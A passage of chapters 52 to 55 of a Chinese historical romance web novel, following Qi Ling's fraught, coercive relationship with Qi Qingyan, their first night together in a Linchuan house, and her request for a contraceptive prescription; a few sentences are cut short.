祁清宴长臂揽住她腰肢,把人抱在怀里,严丝合缝不留一丝空隙,唇落在眉心,轻叹一声,“睡吧。” 次日一早,祁泠醒来,银盘正守在一旁。见自家娘子醒了,她忙告状:“娘子,咱们的东西都被搬到这里了。” 祁泠又有什么法子,用过早膳,白日无事,便回去同林照君说话。 林照君去借用小厨房,给冬奴熬玉米羹喝,给祁泠两人也熬了羹汤,煮了一堆小肉丸子。 祁泠尝过味道不错,银盘更是嘴里塞了好几个肉丸子,连连夸着好吃。 听两人都夸赞她的手艺,林照君笑:“当初冬奴两岁时,我攒下银钱,在镇上支起摊子卖热汤丸子,一支就是大半年,后来摊子没了,才又开始四处奔波。” 她笑着说起,没有一丝埋怨。 祁泠能大概猜出来,无外乎是遇上欺凌弱小的恶霸,正如前几日一般。有人帮扶时可避过去,无人帮扶时呢?不知有多少难捱的日子。 祁泠难免心软,道:“夫人愿意,也可随我去建业。我陪嫁有几个铺子,留给夫人一个。待夫人凑够银钱,从我手中卖走便是了。” 林照君看出祁泠是真的考虑周全,但她笑着摇摇头,“建业我不会再回去了。” 她语气坚决,没有一丝犹豫,祁泠惊讶问为何。 林照君如实道:“其实我小时也住在建业,后来家中遭难,为逃难才到南边,不打算回去了。” 想起祁清宴说的故人,祁泠适时提起,“燕郎君幼时也在建业,夫人对他可有印象?” “燕郎君?”林照君脑海中浮现一身影,同祁泠道:“昨日,我在院前遇见一位郎君,模样极好,但是瞧着身子骨弱些。那位是燕郎君吗?” 能寻到院前来,又听林照君的描述,祁泠点点头,那便是了。 燕家……林照君细细回忆过后摇了摇头:“虽然离开建业时小,可我还记得父母姐姐,几户相邻交好的人家,确实不认识姓燕的人。” 第52章 第五十二章【VIP】 祁泠神情一滞,听完林照君的话半晌没回过神来。依照祁清宴所言,林照君同燕徊梁是故人。 可林照君说不认识。 “娘子,怎么了?”林照君出声询了一句。 祁泠下意识道无事,指尖攥着袖口,慢慢想着。 林照君应当没说假话,没有骗她的必要。她都说了曾经家中遭难,没有必要说不认识燕徊粱。 她此时处境艰难,有认识的故人更好。 若是其中没有误会,那便是,被慕容家收养的燕徊粱不是燕徊粱。 就如被祁家收养的她,也不是二房的女儿一般。 她似乎知道了更多有关祁清宴的事。 祁泠若有若思的神情落入林照君眼中,她心中愈发疑惑,隐隐有几分猜测。想问出口,但因还没彻底熟悉,话又重新落到腹中。 只是她起身,拿起早晨做的糖果子递到祁泠面前。 祁泠拿起一颗,甜味在口腔中散开,散不开的是心中思绪。 闲来无事,府中侍女道城外有梅苑,内里主人住了一山梅花,吸引了许多人去看,入内交份游苑钱就好。 祁泠翌日直接同林照君一同去了。 入冬不久,梅花只开了几种。冬奴很新奇,被林照君牵着,一路走走瞧瞧,摘了几朵梅花拿在手里,不舍得丢掉。 见冬奴可爱,祁泠又开始想念建业。 家中也有祁云漪和祁阿濯。再过十几日便到除岁,去岁还是二房一家在江州,今年却不知,她会在何处落脚。 在外面呆了一阵儿,过了正午,金乌稍落,便准备回去。 坐在马车上,冬奴说着过几日还要出去玩,祁泠点点头应下来。 只是,不知还要在此停留多久,她答应如果留的时间长,一行人就再来一趟。不过走了几息的功夫,马车的辚辚响声被外面的争吵声掩过。 祁泠坐在窗边,掀起帘子,银盘也挤过去一个头,主仆俩一同看去。林照君垂眼,抱好怀中的儿子,轻轻捂住他的耳。 梅苑地处偏僻,山下偶尔坐落几户人家,不远处一小宅子,一女子年岁约莫二十左右,穿着一身齐胸襦裙,同一男子争吵。 男子推了她一把,不干不净骂了几句便扯袖离去,吩咐着身后的侍从把女子拉开。女子当然不愿,大声哭诉惹来不少下山人的视线。 祁泠一直望着,林照君也稍抬眼望去,见此状况了然于心,便道:“左不过是世间又多一负心人而已。” 祁泠却道:“我想下去看看。” 林照君把孩子递给银盘,留两人在车上,随着祁泠下去。 有人来了,男子和侍从不想将事惹大,匆匆走了。 祁泠走到近处,递去一方帕子,轻声询发生何事。那女子接过擦泪,也不推脱,反而将人带进屋内。 屋内收拾的整齐,女子洗净面上泪与脂粉,露出一张稍显疲态的脸来。 未曾想到还会有人刻意上前来问,但也没什么不可说的。 她一点点擦去泪,也不哭了,如实说了一通,“我本是良家女,住在城中,他看中我……不是送华贵的钗环,便是说好话来哄我,时日久了,我也动了心。不顾父母反对,从家中跑了出来。” “他接我离家,另置宅院在此,新鲜几月也淡了,不再提接我进府,娶妻纳新妾。可我真心爱他,当一外室也好,但……每次行事都喂我吃一颗药,时日长久,身子坏了,再也无法子嗣。他要与我断了,我这一辈子算是毁了。”她说着愈发伤心,又落起泪来。 祁泠问:“那你以后如何打算?” “走投无路,只能再回家中。” 两人走后,女子见到桌上放着一根簪子,镶珠携翠,比当时令她倾心的那支更好看。 …… 回去的马车上,祁泠问:“夫人,为何会如此?” 林照君望向祁泠,清楚见到她发髻上的那根簪子没了,觉得这娘子有点傻。 也或许是她过分凉薄,只觉是可怜之人必有可恨之处。她道:“道理也简单……娘子如今可有什么想要的物件?” 祁泠摇摇头,银盘却道:“娘子没有,我有,近些时日想吃水晶糕,只在建业吃到。” “银盘吃不到会一直记着,可等你回到建业后,吃多了也便不会想吃。”林照君道:“想要但不容易,所以才会费心思去取,一旦到了手中,时日久了,便不一定会喜欢了。” 她看出两人关系奇怪。初次见面时以为两人是未婚夫妻,不过后来看来显然不是。 祁娘子对此忌讳莫深,周围人的态常。 祁泠想了一路,大抵世间男子都是如此。因为她迟迟没应允,他存了让她心甘情愿的心,才会对她格外有耐心。 她原以 但昨晚夜半,偶然清醒时,她竟在他回来之时,她已然熟睡,连。 手所及之处温热,搭着他脊背,指尖汲取他身常,一开始还会睡不着,如今却可以安眠整夜。 可怕。她的抗拒不适被一点点蚕食,不知何时便会消失殆尽。 人心皆是肉长的,在日复一日的看似真心的对待,难免会相信他。 她其实与那女子没什么区别,都是被看中美色。两人仔细相处不过几月,除了容貌,他还能惦记她什么。 他如此耐心,当然一切在掌握之中,被他一直带着,她也躲不到旁处。 与其回到建业拉扯不清,不如在外遂他意,回去前彻底断干净。 “阿泠?在想什么?” 祁清宴今日回来的早些,解下披风递给沉弦,黑润的眸子望着她,问着。 坐在内里窗边的祁泠摇摇头,说没什么。祁清宴未追问,只道:“用完膳我们去出去一趟。” 祁泠道:“我方才吃过了,已经饱了。” 祁清宴便自己简单吃了一口,随后牵着她的手,走在院中。天色尚且完全黑,两人相牵的手落入侍从眼中。 祁泠只有些不习惯,也勉强适应着。 只是到了另一院中,祁泠坐在帘中,随后一老者来给她把脉,良久捋了捋胡须,目光瞅瞅她,“……当初的药没怎么吃啊。” 祁泠宛如做错事孩童,那些药确实丢掉了,找不到去何处了。 祁清宴道:“阿泠,你先去外面等我。”她便先去外面,与银盘呆在一处。 只剩他在里道:“劳烦朴老这回给她弄些……别那么苦的药。” “药?还怕苦,那别吃算了。”朴老一惊,随后气得胡须抖抖,收着桌上东西,不给他们看了。 “不是因这个,”祁清宴眸色低垂,“因我,她不喜我迫她做事。” 朴老睨他几眼,哼哼几声,也是应了。毕竟女娃的身体重要,他道:“药没法变甜,只是有法子好吃些。” 祁泠随着祁清宴回去,两人屋中添了四五个大箱子。 冯夫人准备的衣裳厚重,他又派人裁了衣裳过来,梳妆台也备好了相配的钗环耳珰。 晚间亲吻成为常事。 脸颊被细细啄吻后,祁泠抬起双臂环住他脖颈,主动抬头,唇稍犹豫后落在他侧脸,蜻蜓点水一碰。 祁清宴愣住,缱绻的目光带着难以抑制的讶然,同她额头相抵,低声问:“……阿泠?” “别喊我阿泠。” 这样就不是她了。 祁泠起身,再次主动吻上。 第53章 第五十三章【VIP】 月挂枝头,寒白的月光从窗棂洒进,映出床榻帐内几乎缠绵的人影。 祁泠一吻犹如火引,掀起一片燎原。唇被蹂躏得比平常更重,紧紧压在床榻内里,气息交缠,分不清是谁的心如擂鼓。 主动的举止连她自己都惊奇,鼓起勇气过后,脑子一片空白。 再反应过来时,一只手按在她腰际,慢条斯理地摩挲着肌肤。 她轻轻喘息着,却察觉他稍起了身。 沉沉的呼吸落在她鬓边,幽深的黑眸紧紧攫着她面上任何神情。 祁泠长睫低垂,不同他对视。因着上次,如今她怎么也不肯发出娇媚的声音,此刻响起的遂只有两人克制、无法忽视的喘息。 腰间的手离开,快扯过旁边被子,他又将她裹成一团,动作麻利,除了她脑袋,再没露出一处。 今日又到此为止了。 她主动的意思明显,他却无动于衷。 祁泠睫下眸光复杂,他连人带被一起揽进怀里。 “……为何?”沉默许久,祁泠问。 她的声音轻,不比呼吸大多少,稍不留神便会听不到。 但祁清宴听得清楚,毫无困意。 人无法掩饰细微之处的反应。 往日皆是他主动才会一亲芳泽,今日呢?她主动的令他一瞬心中激荡,比寻常也更动情。 但只要思绪稍微清醒一点,就能察觉她的异样。 自从来时争执之后,她格外沉默,话少了许多。是改了性子还是不愿与他说话,稍动脑子就能知道。 祁清宴缓了缓,开口解释:“……这里不好。” 此处内里摆设周全,确实不比琅玕院。 但他的话也够荒谬的。算了,最好何处他都觉得不好。 祁泠转过头,朝着内里不对着他,闭眼打算睡了。 “我们很快就不在这处住了,后日,最迟大后日。”祁清宴的吻落在她发丝上。 即使知晓她非是彻底心甘情愿,可他还是期盼两人真正有肌肤之亲,这般才算真正在一处,否则他总是担忧她离去。 这处确实不好。 上次只是得知她要嫁给旁人气狠了,否则,他这样平常处处挑剔的人,不愿在旁处,狭小的居所与她亲密。 再者,他也不愿让她以为,他只急迫要她的身子。 “再等等……”他轻声道。 祁泠恨不得把耳朵捂起来,拉起被子,把脸埋进去,脸颊耳后一片绯红。虽然是权宜之计,可他说的话像她太过情急。 当真是…… 祁泠胡思乱想着,但也很快睡熟,得一夜安眠。 果真如他所说,祁泠睡醒从沉弦口中得知,众人在此处再呆两日,便要出发去临川。 白日无事时见不到祁清宴。 祁泠逛了逛居所,见内里案桌上备了笔墨纸砚。他在时有一堆书信,没有家中安全,不在时桌上一片空白,只剩几本杂书。 她转念一想,正好写封书信送回建业。再去临川不知要几日才到,路上些信不便,她要了纸笔来,写一封书信给冯夫人。 只是措辞要格外注意。 毕竟在冯夫人心中,她此刻还在淮陵冯家住着。防着冯家也给冯夫人送了书信,祁泠如实说自己从冯府搬了出去。 但不能说因她身子不好,恐惹冯夫人担忧,只是道住在外面出门更方便,过了除岁应当就打算归家。 她将回建业要带上冯妆的事也一并书了,总要先告诉母亲一声。 尚未到金乌西落黄昏时,屋内没点灯,一片昏沉,祁清宴竟回来了,比平常早许多。 祁泠将书信装好,放在信封中。 她抬眸,祁清宴披着鹤氅,外面似乎又落了雪,他衣襟沾着碎雪,进屋被热意沾染而化掉,只映得一点光晕。 他脱下鹤氅,递给沉弦。 沉弦抱着,小跑去铺在熏笼上蒸干。 祁泠垂下眼,手中拿着未封的信,眼前却仍浮现着她方才见到的一幕,鹤氅衣摆处有被火烧出来,零星的黑洞。 祁清宴俨然瞧见了,吩咐道:“衣裳不要了,去烧干净。” 沉弦懵懵点头,抱起来往外走。 等祁清宴走到近处,祁泠将手中信递给他,“我写给母亲的信,要送回建业去。” 反正无论她想出什么法子来传信,总要先过他的眼。那她干脆直接送到他面前好了,由他去送,省的她费心寻信差。 祁清宴轻轻笑了一声,走到祁泠身旁坐好,自顾自动手,信。 ,将信递过去,“以三娘子的名义,送到二房去。” 沉弦应下,,一手拿着信,做事去了。 …… 去临川的路上,祁泠照常与林昭君同坐。白日里四个人,银盘同祁泠,林昭君母子一路作伴倒也有趣。 只在路上走了两日,一早起来冬奴开始吐,,小孩子就像被晒干巴的小白菜, 眼见着没有见好的兆头,林照君面露忧愁,思索一番提出就此下车去。 祁泠安抚林照君:“夫人莫急,我妹妹路上也这般病过。不知这里是何处,找不到医馆该如何是好?等我下去问一番。” 说话时,她拿甜的果脯递给冬奴,冬奴小声道谢,接过去小口咬着。 她一早便让银盘去把祁清宴那里的果脯点心拿过来,银盘唯唯诺诺去了,不久搬回来一大盒子。 林照君答应下来,连着道多谢。 祁泠下车去,正是午间休憩时,行至荒山之中,没有客栈可歇脚,众人遂在在阴凉有溪水处停留。 银盘随祁泠一同下了马车,眼见对面树下祁清宴在同燕徊粱说话,她悄悄俯耳到祁泠身边:“娘子,我不敢自己过去,三郎君看我那眼神明显嫌弃,我害怕,娘子去吧。” 祁泠只好自己前去,走到近处给两人俯身行礼,未出声唤人。 实在是有祁清宴在此,她不知该如何唤。 “怎么了?”祁清宴转身过来,五官显露曦光下,说话时一直望着她,语气和眼神似要溢出柔和来。 知晓祁泠无事不会在旁人面前寻他。 祁泠已然些许习惯。 惊诧的只有燕徊粱,但他只是以指抵唇,轻咳了两声,遮掩笑意,不过听完祁泠的话,笑意也消散了。 “我们同行路上有医者,前两日为你把脉的朴老,我去同他说一声。”祁清宴话音方落,燕徊粱却已转身,“我去吧,你留着。” 朴正卿同燕徊梁一个马车,方便时刻看顾燕徊梁身子。 等燕徊梁走远,此处便只剩祁清宴同祁泠两人。 “昨晚睡得好么?”祁清宴问。 这回赶路,晚间休憩,祁清宴不同她一处住。是而,两人有几日没再单独见过了。 昨晚祁泠同银盘一起住,白日赶路乏累,晚间无他心神放松,倒也睡得好些,此刻她点了头。 他又笑起来,目光停在她面容上。曦光下,近得能看清面上细微的绒毛。 她睡得好,他这几日却不得安眠。 祁泠觉得他笑得瘆得慌,忙着用去看冬奴的由头推脱要走。祁清宴也不拦她,由着她去了。 朴正卿看后,说小儿脾胃弱,连日颠簸才病了,最好安养几日。林照君闻言放下心,也做好独留在此的心。 但燕徊粱道:“我也有些累,到前面寻一落脚地,留几日也好。” 午间休憩一阵,午后一行人到镇中,寻客栈住下。冬奴喝了药还是发热,祁泠和银盘陪着林昭君一同看着孩子。 天光暗下,倚在榻边的林照君猛然惊醒,榻上只有被衾,没有冬奴。她急忙到旁屋去看,祁泠和银盘也睡着了。 她心慌起来,立刻出门去寻,一路喊着冬奴。 听到软乎乎一声娘亲,她立刻转头看去,是那日的清瘦郎君抱着冬奴,从屋中走出。 林照君不放心自己孩子在旁人手中,忙上前接过,急得声音哑了,低头问冬奴:“你去何处了,为什么不在屋里?” 冬奴睁着眼睛不说话,安静又委屈。 燕徊粱开口解释:“冬奴饿了,他不忍心叫醒你,便自己去寻吃的。我正好见到,陪他喝了一小碗粥。” 林照君扶住孩子的头,道一声多谢。两人间再无人说话,显得格外静默。 她也知晓自己方才语气不好,想起对面郎君抱孩子熟稔的动作,先道歉:“是我不对,方才太过心急,为人父母皆如此……不知郎君的孩子多大了?” “我尚无子嗣。”燕徊粱摇了头。 林照君惊讶看他,年龄也不小了,却没有孩子。不过事不关己,她并未再冒失发问,抱好冬奴,同他道别。 祁泠陪着冬奴玩,以为要在此住上几日,傍晚沉弦却来唤她,仍要启程。 她出门,见人马又分做两半,她的马车已借给林照君母子,她只好到祁清宴的马车上,委屈银盘又与旁人凑合坐一辆。 马车内里昏暗,祁清宴点了烛火,才有些微弱的光亮。 祁泠忍不住问:“为何我们要先走?” 她来前看得分明,林照君留下,燕徊梁也留下,谢子青那边也是没动静的。只有祁清宴独自去。 “他们无事,休养几日也好。可我在这睡不好,想早日到临川去。”祁清宴望着她,明亮又清澈的眼眸显露出三分温和笑意,混着点莫名意味。 问不出个所以然。 祁泠在心里叨咕一番,在何处睡不一样?他要护送人家去临川,结果反倒自己先走,全然没反应过来他话中意。 茶香氤氲开来,祁清宴倒杯热茶递到她手中。祁泠握着温热的茶水,时不时嗫一口,奇怪看他一眼。 又赶了三日路就到临川。 马车径直入临川城内,停在一座宅邸前,门匾上高挂着祁府二字。 祁清宴率先下马车,伸手过去,扶着祁泠下来,过太湖石凿砌的台阶,别有雅致意。从正大门入内,过雕花影壁,主院两侧参天古树高耸,落下一片荫蔽。 府上侍从皆在院中请安,齐声道郎君夫人安。 祁泠停住脚步,掀起眼帘望向祁清宴。他将她手拢在掌中,轻轻揉捏,“这是我们的家。来的匆忙,未大改,你有何处想改动,便吩咐下面的人,我们会在此住上几月。” 说话间侍从中抬起一张憨厚老实的脸,是院中的执事,姓徐,年逾四十的妇人恭敬道:“夫人同奴婢说便好。” 祁泠应下,有地方一直住着也好。 只住几月,以后不会再来,她也不会大费周章地改什么。 走到正屋,只见内里书案、妆奁、八宝格、美人榻摆设一应俱全,窗几明镜如新,垂落的珠帘隔开内室,简单一瞥,一片红云入目。 祁泠一顿,不免仔细看去。 内里四方沉香木拔步床前红绸挂上,前侧飘散着纱幔,旁侧雕花桌前摆一对红烛。 对于晚间要发生什么,祁泠忽而明白。 晚膳过后,沐浴时,银盘舀着水,浇落到祁泠肩上,还好奇问她:“娘子,这处怎么好红,是不是方举了婚仪,还未来得及收拾?” 祁泠不知如何同她说,只含糊着道或许吧。 披着外衫入内,祁泠见内里人亦是方沐浴过,她几乎是挪着步子往前走,慢吞吞的。 对此有准备,她想着长久拉扯不如早断干净,可还是控制不住地躲避。 一愣神,忽而一整个身子落入熟悉的怀抱中,祁清宴下颌搭在她颈窝处,贪恋她身上的温香。 她不动,许久他才开口,声音沉闷。“阿泠,不知你如何作想,你不同我言说,我能猜到几分,但始终难彻底知晓。” “只你应允,我们无甚阻碍。有朝一日,或许我们可长居在此,无人来扰。” 祁清宴低头,同她鼻尖相抵,询着:“阿泠?” 祁泠只是听着,直到他亲吻她耳朵,声声唤起了阿媅,才含含糊糊点头。 阿媅像一条无形的线,隔开了从前。 祁泠喜欢媅字寓意,家庭和乐。 但在这里她是阿媅,回到建业去又是阿泠。 祁清宴拦腰抱起她,放到拔步床上,俯身,伸手为她褪下绣鞋,指腹从脚踝流连而过,从裙摆向上探,所到之处留下一片酥麻。 她伸手去按住他的手,夺回一点地盘,可上面又失了城池。 祁清宴压她入帐中,或轻或重地亲吻,吻的气息不稳,抬手去解她小衣。 “我自己来。”祁泠开口,亦垂下头,纤细的指尖解着小衣系带,带子缠了许久也未能解。 而他指尖一勾,衣衫尽落。 …… 帐帷初温,即使足够轻的动作,开始带来依旧是疼。朦胧夜色笼在她沾泪的双眸中,又轻又漂浮,让人害怕轻轻一动便尽散开。 祁清宴抬手拂她眼尾,手心出汗,气息时轻时重,欲色在眸中流动,喉间一直颤动。 汗浸湿衣衫,身上如蚁啃噬,只有在她身上才能得到疏解,几乎克制不住。 但还是耐着性子细细吻她每一处。 乌发汗湿,耽于陌生情潮,无法思索,也耻于发出声响。 祁泠只能紧咬唇,唇瓣靡丽红润,侧过头,半张脸靠在枕上,乌黑的发贴着脸颊,不禁闭眼,柳眉微蹙。 似有穿堂风穿过,惹得红烛落在床帐上的影子乱晃。 时隔不久方歇,声渐止。 祁泠细密汗珠沁满额间,面上酡红。缓了一会儿,抬眸眼中潋滟春色。见他绷着面色,格外严肃,蹙着眉不知在想什么。 她自己倒长长舒了一口气。惧怕的事经了,也便觉得没什么大不了。 虽然确实不适,酸胀难忍,又有些羞耻,幸好不用忍受太久。如果此后皆是如此简单,她还是可以忍受的。 只是浑身黏腻着,不好受,她伸手推开他,撑着床榻边缘,勉强起身。 腰间覆上一只大手,拦着。 祁泠张口,声音几分绵软,“我去沐浴。” “不行。”他声音坚决,压抑又发沉发哑。 祁泠闻言难免不解,望向他,见到不该看的,面上火辣辣又转过头。 拉过衣衫盖住自己,才不听他的,披上衣衫欲起身去净室。 炽热身躯覆上,迫她转头,又被抵在床上。他再度俯身,唇齿交缠间,吐出气息温热,夹杂着恨恨的一声,“再来。” 第54章 第五十四章【VIP】 天色微亮,隐隐约约照出内里纠缠的人影。 柳眉蹙,青丝落,臂弯压得香肩累,连起身的力气都没有。 祁清宴抬手拂过她额间,将黏腻在脸颊的发拨到一旁。祁泠不想动,脑袋往下靠,随意找个地方窝起来,眼睛仿若垂着重物,只一阖,眼前便昏沉起来。 初识情滋味,一回囫囵吞枣,之后每次细细品味,令人险些沉溺其中,不知疲惫。 掌中青丝缠绕,声音透着一股饕足和满意,“不去沐浴了?” 还是要去的,祁泠抬了抬手指,又垂落床上,想着缓缓再去。 察觉周身一轻,是被他抱起来了。索性由他抱着去,她没来得思索等会儿沐浴时的难堪,就沉沉睡了过去。 …… 曦光明晃晃地照进来,一伸腿就是酸累的乏痛,疼得人一颤,随即睁开眼。 映入眼帘的是他沉睡着的面容,两只手紧紧环在她腰际。 祁泠伸手过去,打算挪开他的手。抬袖时发现外面罩着宽大的衣衫,愣怔片刻才想起后来她根本没了印象,那便是他穿的。 他眼皮忽而动了动,祁泠下意识闭上双眼,动作也放轻,缩回手。 下意识要躲着他。 祁清宴起身,已比寻常起晚太多,天色大亮,将近晌午,皆因昨晚胡闹的太晚。想起她,只余满心爱怜,稍俯身轻轻吻她额头。 祁泠根本不动,大手扶着她面庞,拇指一点点摩挲,还没整理的衣衫凌乱。听他呼吸又重了几分,她整个心都提起来,在嗓子眼里扑通扑通地跳。 她已经知晓了此事不像她想的那般简单,昨晚她再三哀求,到了又困又累时才结束,现下不想再来一次。 幸好,他披上外衣,转身出去了。 祁泠悬着的心放下来,可也闭着眼睛等了一会,防着他再回来。躺在床上一动不动,又歇了一会儿,才缓过些许疲累劲头。 外间静悄悄的,时而听得几声鸟鸣,她素手扯开帘帐,唤着:“……银盘?” 声音嘶哑,听得她一愣,随后心中暗恨祁清宴不知节制,翻来覆去折腾她。 银盘就住在旁边的屋子。她已养成习惯,要是祁清宴同祁泠一起住,她便每早上悄悄等着。看祁清宴走了,她再进里面等去。 今日她等得尤为久,听到祁泠唤她,忙端着有些凉的水入内,一脚跨过门槛,“娘子,身子有何不适?怎今日睡到……” 手中端着盥洗所需的物件全砸在地上,水溅落一地。声响大得祁泠强扶着起身,目光望过去,银盘心直口快,但不是举止莽撞之人,“怎么了?” 银盘惊得喊了一嗓子,来不及顾脚下的物件,脚步极快踩着水,走到榻边,同祁泠说话声音急得不行,“娘子,你脖子……一定是三郎君欺负你,他不会打娘子了吧!我们快、快回建业去!” “我没事,银盘,”祁泠咽了咽嗓子,又耻于开口解释,遂先道:“……拿镜子过来我看看。” 昏黄的铜镜映的人影不甚清晰,但也能看出脖颈处的红紫痕迹。祁泠扯高外衣,遮住,推开铜镜,“银盘,我真的无事……恐怕昨晚吃错东西,太痒了,用指甲划出来的痕迹。” “真的吗,娘子,我看着不像啊……”银盘十分狐疑,听祁泠的话感觉不对,探头同时伸手过去,打算仔细看看。 祁泠握住她的手,笑了笑,“好了,好银盘,我昨晚睡得不好,身子好乏,备水扶我去沐浴吧。” 银盘将信将疑地答应了。 沐浴时,祁泠寻个由头让银盘出去等着,她舀着略烫水浇在身上,直到水温和起来。 指尖划过水面,泛起荡漾的涟漪,她垂头可见痕迹遍布全身,胸前一片尤甚,瞧着都有几分吓人,昨晚旖旎记忆重回,她羞耻难安,脸颊发烫。 她往下沉,水没过下颌,在水中闭了会儿气。会水也不怕,停了几十息,她从水中站起来,净室内崭新的潮湿沁鼻。 没什么大不了的,祁泠想着。 到了如今,贞洁对她而言,没什么用处,注定守不住,还不如早早脱身。 细致洗过一遍,她擦干水珠,将里衣穿得严严实实,才出去。 银盘手拿外衣,祁泠接过来披着,侧倚在美人榻上。银盘用沾了香料的梳子梳着她的湿漉漉的发,她则闭目养神。 银盘仔细地梳着,香料淡雅的花香味渐渐弥漫开来。 外面传来脚步声,一抬头见祁清宴站在门外,她手一抖,祁清宴抬手挥了挥,让她出去。 银盘看向祁泠,,但祁泠闭着眼,实在太过困倦,没能发觉。 旁,走出去时,竟有种做错事的心虚感,总觉害了娘子。 ,由发根梳到发梢,将头发分成一缕缕,依次梳好,他仔仔细细,动作认真而轻缓。 重新梳一遍,余光之中是她安静的睡颜,他内心也格外宁静,不需要考虑任何事。 祁泠一睁眼,昨晚记忆太深刻,仅靠着一只手就认清来人,她惊得要起身,他却按下她的肩膀,“不急,再躺一会儿。” 她便没动,这回是怎么也睡不着的,满头青丝由祁清宴他摆弄,时而挽起,时而重新梳顺。 他又拿起梳妆台上的玉簪,片刻后,扶正她的脑袋,拿过铜镜给她看,“好了。” 镜中女子发髻高梳,虽然样式简单,但已经足够整齐。祁泠侧头看他,她自己都梳不好。 只是他将所有发都盘起来,俨然是已成亲的妇人发髻。 祁泠遂干脆道:“我不喜欢。” 祁清宴拿出玉簪,青丝散了她满肩,他梳顺后,重新盘着,声音平和:“幼时我什么都好奇,见仆妇给母亲梳发,看几遍记在心中。之后去了外祖父家,与长辈都不亲近。遇见你之前,未有交好的女子,其余发髻样式都不会。” 等他又折腾一阵,一直未给她看。祁泠主动看向镜中,乱糟糟的发髻,依稀能看出是她从前常挽的样式。只是盘的太差,她一*动脑袋,顶上散了一半。 “还是让银盘为你梳罢。”祁清宴仔细瞧了会儿,还是没明白,也放弃了。 “嗯。”祁泠抬手,将发都拢到一侧去,扬声唤了银盘来。 “可想吃什么,今日无事,我们一同用膳。”祁清宴问。 祁泠道:“清淡些便好。” 话音落下,她有了新的担忧事,所以对吃什么不甚在意。而祁清宴想到她的口味,置了一桌清淡的午膳。 从前用惯的主食鸡丝粥、汤饼,伴着鲈鱼脍、蟹黄羹,清炒蔬菜。 祁泠吃了几口粥,就吃不下去了。他迟迟不提,恍若无事,她却担忧。 “怎么了,阿媅?”如今祁清宴唤起阿媅也甚是顺口了。 “避子药。”祁泠道:“我还没吃。” 祁清宴放下筷子,从晨间开始的轻松愉悦,听此一句,窗间风一吹,就此消失殆尽,散得无影无踪。 沉默良久,响起的话音不辨情绪,“我未想到,阿媅先想起来了。只是那药伤身,还是不吃的好。” 他虽懂得不多,也知避子吃的加了砂贡,常吃再难有孕也极伤身。他曾听提谢子青过两句。 祁泠握紧筷子,语气坚决:“不可。我不怕伤身,只怕麻烦。你若是无空,我自己寻好了。” “为何,有孩子不好么?” 如今两人不明不白,与他牵扯一处,祁泠自认倒霉,但能接受现状是因着之前说清好聚好散。 她道:“我不想有身份不明的孩子。故而,如今可服些药,伤身也罢了。” 听她这几句话,祁清宴便明白,懂了她最近的反常因何。面上无波无澜,心底却涌起深深的无力,声音极轻,恍若自问:“不想有孩子,却愿意与我同房,是你盼着我们早日散了,是吧?” “对。”祁泠看着他,直截了当承认。 “你不让我嫁人,急得赶回来不是因此么?你想要的,由你。只是绝不能有孩子,有了,也是和我一般,出身不正,任人欺辱,被众人唾弃而已。被你强留于此,我无力反抗,但不愿我的孩子来日同我一样,所以,宁愿伤身,此后无子嗣也甘愿。” 她的话,一字又一字砸在心上,宛如刀割。 但他又知道她说的没错。 是他强求,但如果他不强求,两人不会在此,早分道扬镳了。因为她的身份,甚至他最初也轻视她。 如果两人不成亲,确实不能有孩子。但他想要,有了孩子直接回建业成亲就好了,她能说出这般话,足矣说明压根没想过以后。 如此听起来才更残忍。 心里说不出感受,苦涩倒灌在胸膛,翻涌不止。 他闭目深呼吸,攥紧手,倏然起身,留下一句:“我知晓了。”暂时无法与她说更多,她看似柔和,但那张嘴里总会说出让他动气又反驳不了话。 昨晚温情荡然无存,他走后祁泠坐在桌边,吃了几口清炒小菜,也放下碗筷。 银盘悄悄进来,“娘子,方才我看三郎君出府去了,沉弦也跟着走了,府上留了护卫。不知郎君何时回来。” “不管他,去唤疾医来吧。”祁泠实在害怕怀上孩子,有了身孕,她岂不是要永远困在他身边了? 这与当初他说的,让她做外室何异。她自己受够了出身不正的鄙夷,何必要有子嗣?和她受同样的苦。 只是姓徐的执事比疾医先到。徐执事入内一瞧祁泠面色,再想着方才出府的郎君,她只当是小夫妻吵架了。忙问着祁泠何处不适,夫君置气离家,不会被气到了吧? 祁泠不习惯在外人面前言说,只道:“无碍,只是看看罢了。” 徐执事应下,“府上有疾医,片刻就来,奴婢这还有要事需禀夫人。”她端着木盒,递给祁泠。 银盘接过去,掀开,见里面有府上地契,一应侍从的卖身契,还有几本帐薄。 “夫人,郎君昨日的吩咐,让奴婢将家中帐薄都送到夫人处。” 祁泠问:“原来府上有人负责吗?” 听徐执事说有,她道:“还让他负责便是了。”她未曾将这里当做家,只是暂居之所,何须让她拿着这些,做甚么名不正言不顺的女主子。 徐执事听了祁清宴的吩咐,见此脑子转的飞快,急急道:“不可啊夫人!原有的帐薄是好理,只是府上变了主子,许多事都与从前不同了,下人们做不来,生怕一个不注意犯了什么忌讳,耽搁主人家的事……” “怎会?”祁泠问。 徐执事上前将其中一本账册递过去,压低声音,“夫人一看便知。郎君半月前遣人来买下的宅子,府前挂上祁字后,附近州郡许多官员陆陆续续送了礼来,昨日理帐,礼快堆满了库房……” 祁泠简单瞄了两眼,那也难掩吃惊,这离建业如此远……祁家的名声竟如此好用。 但是同她有什么干系,她静了静心,道:“去问他便是了。” 徐执事为难着:“郎君走前,奴婢上前问过,但是郎君说他不知何时回来,只这些一并交给夫人,有人拜访见或不见,也让夫人拿主意。” 说着,她从身后拿过钥匙,递给祁泠,“夫人,这是库房钥匙,各处送来的礼都在里面了。” 第55章 第五十五章【VIP】 祁府同各府的往来她又不知晓,干嘛让她出面。祁泠懒得理会他,“他不在时,有人下帖子或来拜访,只言说主人家不在。记下来人府上姓名便好。” “库房钥匙也不用放在我这,等他回来一并送去,帐尽管让原来的人去理,错了由我担就是了。”祁泠道。 谁家女主子都要将这些攥在手心的,徐执事遇上个不同寻常的,夹在祁清宴和祁泠之问一时不知作何做好。 她看祁泠面善,又想起祁清宴离去时的周身怒气,在心里反复思索,打算劝看起来好说话的祁泠,“夫人,这……” 祁泠一听夫人这两字就头疼。 他这一招甚是可恶,让周围人唤她夫人。不应,她便解释不了为何两人住在一处,落在尴尬境地。应了,心里又不舒服,被他裹挟着无法反抗。 她支额,闭目:“下去罢,此事不必再说,让府医快些来。” 徐执事只能告退。府上的疾医紧接着来了,是位发丝皆白的老头,颤巍巍跪在外问问:“……夫人何处不适?” “劳烦开一张避子的药方,熬好尽快送来。”祁泠揉了揉眉边。 